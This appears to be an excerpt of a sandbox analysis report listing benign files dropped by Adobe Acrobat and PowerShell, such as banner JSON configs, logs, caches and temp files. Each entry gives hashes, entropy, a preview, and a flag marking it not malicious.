SHA-512:	CE2DED1B86AD286D2267E01085077F1A325C9909DFA8DFC37428527DF8185213B0B0D04D5F2B6A8A6127777943ABDE107F39BDDB8E0DAC0E1DF2517C01FD8702
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.246767190611502
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7SwA4WKYvB3/dVlPIHAR0Y+KveoAvJf+dPeUkwRe9:YvXKX7SwXWpvR/ZwHAaKvVG28Ukee9
MD5:	EBE0672B68201AB7A482FDDB1BD0D0E7
SHA1:	D01C8D93A01BF2F2C68C26BF5780459E6213B340
SHA-256:	4913AB72D978EB6763B209CCA636D79E8B07FF9032A6A58FB81D4679E25A625D
SHA-512:	49104AC19DF5077CF6E117B357AD55DB04360B7F1FFEC8CEBB91C5A1921FBBAD1AF5E3EA64118D81FA2BCDE49B2BAD1A479BDDD7AE9A70E371523E4123B1FD12
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.244917073029603
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7SwA4WKYvB3/dVlPIHAR0Y+KveoAvJfbPtdPeUkwRe9:YvXKX7SwXWpvR/ZwHAaKvVGDV8Ukee9
MD5:	5A221BBFA3F10A0EAA43FCF0F0C5D7B5
SHA1:	A10F2AE7C9E2BE482B412A0CA8C776349E84FEE0
SHA-256:	D18A8A2CFEAF3F2F2ACAFA7AB4D900A32BE5B2B3A67FE5A18A03DFA7643AE3C3
SHA-512:	986AAAC01864FB287835E2692F9F1A18D9D915327F80595DA1D957E500A9F54C2DEB5E843EB4BE73BF7619A5F2A8EC22547E697D5515063843D30FB7574A3E03
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.242771874624197
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7SwA4WKYvB3/dVlPIHAR0Y+KveoAvJf21rPeUkwRe9:YvXKX7SwXWpvR/ZwHAaKvVG+16Ukee9
MD5:	42DF29F1977E11FD8E9886B69FE92F1E
SHA1:	D520409E60BF1AB117F401872305CFA66FA25F51
SHA-256:	B463E6629CD6B073B9A03EEDB1E0BCDEFFB85A746D90F70CDC70EFDD7B9AD14C
SHA-512:	3FEBEA93E6FB9D971642BDBDBF480680477356173A90E5407E315414F853C39D293C6B19EFF25574B03632079BEFE6F6D591FC731F8D4ED89439298CFC4DA633
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664784832592495
Encrypted:	false
SSDEEP:	24:Yv6X7HGpJh+KvmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS0:YvqmJh+KABgkDMUJUAh8cvM0
MD5:	74EF3BD5F31261AD5B6FA0E31873FB18
SHA1:	DC10615B7E331A867A1D7732FB74C6FB95E1DEC2
SHA-256:	F3257DD9BD0D5A8DEE91A8A502ECF25D70E0F3898DDDDF36690E65532574F1A7
SHA-512:	8A83824E6241C2EFDDCCED59C57C1E6A6482D54D6C017AAA04BDFBAAC73D68E083AB59A0F84CE17BAB775D0359BF9FB2EC5E5B9DCDB734D191517E6FD6CF9B4D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.218906408018178
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7SwA4WKYvB3/dVlPIHAR0Y+KveoAvJfshHHrPeUkwRe9:YvXKX7SwXWpvR/ZwHAaKvVGUUUkee9
MD5:	61D5C47EB72BB81F5933195BB9DA3DE3
SHA1:	63C413418150D0255E8FD838DF24E3A7E3ABDAE6
SHA-256:	FF72ABB4B5DDC4014A2B267F43B704C2819191FFE2627C2A1DD3337BA77FAB51
SHA-512:	CB2BB5BCE6E7136CAF251658E61A3C253294D66DA82D1011C28EA9E3A2A91299E842615B798BBD27A3646372FD94B8C212F26FE4D102D7515F05EB4F161DFED2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2329534138893
Encrypted:	false
SSDEEP:	6:YEQXJ2HX7SwA4WKYvB3/dVlPIHAR0Y+KveoAvJTqgFCrPeUkwRe9:YvXKX7SwXWpvR/ZwHAaKvVGTq16Ukee9
MD5:	369C717C7E1C96F17AD096B63A8D3AB9
SHA1:	EDB83E4501E5DE9B73937C1FC4429B8C586D7060
SHA-256:	27F09B052386AE0111F182CA7D943685515CEA9CE5BF6B1DD844D2918665BDE9
SHA-512:	FB3F98E25D498134E3EAC8E02678DE95E632E791275F66C8D5C3B9A3A2ACB222834E0CDBEF8E5792ADFB26AAEC3BFD76E9373E328A2338DDF5290D446C7B01EE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"167116ec-1220-466c-90dc-24cce7357807","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748369078,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140552946571828
Encrypted:	false
SSDEEP:	48:Y+fWCTugZF8y30pZyrcVfIjzS1pzhFQTaJaRWXMRRDEHXR9ZfI:vWCTugZD30pZyrcVfizQTJaKMRRDSXvq
MD5:	126837561C01C430EFD3EA5181CC7F92
SHA1:	BD9C30CEBFA362C6F8683FAEC319085D1C103D07
SHA-256:	8FFCB654DB103AABBF52BEC516205D007633D06FFB94F08A73F8FB6BFBEB02B4
SHA-512:	762B3CC3CA41B9123F70E610E122F2292A474E3CC287FE268F9EC442437BDA5320D23FCEF841DD0E521DC6245ED6E1D2D5382E8CD67ABC7522A0208705C5078A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"7be685ded32c3bc5a0e94ae7b866ed3b","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736572148000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6d163b02e0d84507541d4622c0f8fdd7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736572148000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"fd1322f8fcd9197a19f4a1d30229f277","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736572148000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"111405f5039822fe1c9ecf2da936fc85","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736572148000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9e0c03863cf8c2fb30f6f308488c832f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736572148000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"13bf3e7694f0565f36fda10ead645372","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3183442074817115
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeZ8tqVp8:TGufl2GL7ms9WR1CPmPbPahZWypilIXQ
MD5:	B6F64D761C0833785D7C6DD536BEC45C
SHA1:	7ACE4CB49FD6EE4C81A234A1DD49DD2AC2A3E896
SHA-256:	4EBEFF3241934F89E1E16BBE2C27D80271B8458CC0C3955FB002485B0940061C
SHA-512:	119BE4DBD4941F5A67C76F16B2D3F57417E126263C1F1221549E2897136535E41EF4A20415568CFCF41D284552412AC6FF99BF75EB0BE918D1DE34FD363F7E16
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7775331401453411
Encrypted:	false
SSDEEP:	24:7+tPlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeZ84qVpaVrScVr0In8qLhx/2:7MUWR1CPmPbPahZPypilIRqFl2GL7msw
MD5:	FD05AC22501BE925EF12DD0F5195F8C4
SHA1:	929ABF81BED97A87A734F3190DAE10EC4A86A19D
SHA-256:	945265BC0D0F9A86EC007EA05A2801B0FC5391A0FB149B2AF2A5D06F54DDBBB5
SHA-512:	81B8B60EEA39AB951662F7032AD4F146FF362492E594CF8602870D196B27894B00460013A66006B9045534059601F696E50DD99FD17B665A9AB051FB824724AD
Malicious:	false
Preview:	.... .c.....Rnq...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgy8QwoYApWCGzFSPsxIiyvScgpYyu:6a6TZ44ADEy8QwonQCGYEuyK
MD5:	3464F0B78DAE7E01000DCEFECEA33E0A
SHA1:	AE285A783BC4C7E19C8FA77E3333BD1776727222
SHA-256:	CA76B01A473AAEB839AA0D1107679124E37FF048BFC35C537214A069C256B82A
SHA-512:	01B6B1A52D88E6D671CC0C57D684D4C3461B59C9551BB65BB07027BE28715CA9A2244E018B006482BC43BC2FA0CA2B46CEBCDA9344641FD1545C6BB493A03AD5
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI630e3.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClGl4l:Qw946cPbiOxDlbYnuRKdMl
MD5:	AB828F3DADE2D251BB3E9CF5F41AEDF7
SHA1:	F7A366FD006A7C3EF78424BF9AAD3634DA354B87
SHA-256:	6FE989AEBCE5CA5145358BB1AEAAC6A13CD9381B4486951B8741577BB4F19523
SHA-512:	D99E682AFEB2C73E7E45B84A6FD99DCCBAF3D49C79402C18C338A5A8CDD315D15E4C66A6FD64246E9A7FD6DD1BFB8EC383A6122DAAF0866CF126A31AD152E5DA
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.0.9.:.0.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bz30qt5j.aoy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q30p2jbc.tlx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-09-01-763.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.3360734146807625
Encrypted:	false
SSDEEP:	384:QwU53V3VcVEGVxo0VyODS3xaVL4Vd+m040cn1yBV3P/a0GI2IqOKEFk2EZE9YrtP:olC2G8H
MD5:	C2AF42CB44CBAF7A1CA3CF0D4398D62F
SHA1:	F2DA5B69A1B110CB0A29FEF6EA6F39EFB642E130
SHA-256:	C853D51E727B8C4A23FA0F69F5ACFE294DFC6D91C3AA75901FF367B2083DEAF9
SHA-512:	02462169773D96BE9739A5FB57A33CC53F149B7B28F7C2EEE0D95EB11AABE65845C57187E6C97E01CD88343C605A9C03F99AD25709098E5D844D72A562BCF397
Malicious:	false
Preview:	SessionID=da11a75b-6985-4e7e-92b4-74760c0273bd.1736572141792 Timestamp=2025-01-11T00:09:01:792-0500 ThreadID=7536 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=da11a75b-6985-4e7e-92b4-74760c0273bd.1736572141792 Timestamp=2025-01-11T00:09:01:798-0500 ThreadID=7536 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=da11a75b-6985-4e7e-92b4-74760c0273bd.1736572141792 Timestamp=2025-01-11T00:09:01:798-0500 ThreadID=7536 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=da11a75b-6985-4e7e-92b4-74760c0273bd.1736572141792 Timestamp=2025-01-11T00:09:01:798-0500 ThreadID=7536 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=da11a75b-6985-4e7e-92b4-74760c0273bd.1736572141792 Timestamp=2025-01-11T00:09:01:799-0500 ThreadID=7536 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4030640992800105
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbKcbMI13cbt:ceo4+rsCj1Y
MD5:	CC77674D7542BA4A05BE9EB2F1AFD18B
SHA1:	5E57ABC689ADD13711AB6903BFC893D1278F721C
SHA-256:	5D2AD3D1D133A1CF073D5942B23F2A9E3026AD886E595F3CFD42AA1E7742FE5E
SHA-512:	072D639B70F36FEB7D02BB78B3C958F12A1A8F80F69B2D19844C8997E5BC2C523AA54F73C9332F9F90CB0B88B0B669CB4161ECB38D05D255233BB033BCD73B80
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0698c5f5-62c5-4ad8-8b34-432d00d82b29.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\77b2664c-8ce5-4814-9438-e066802a68a0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
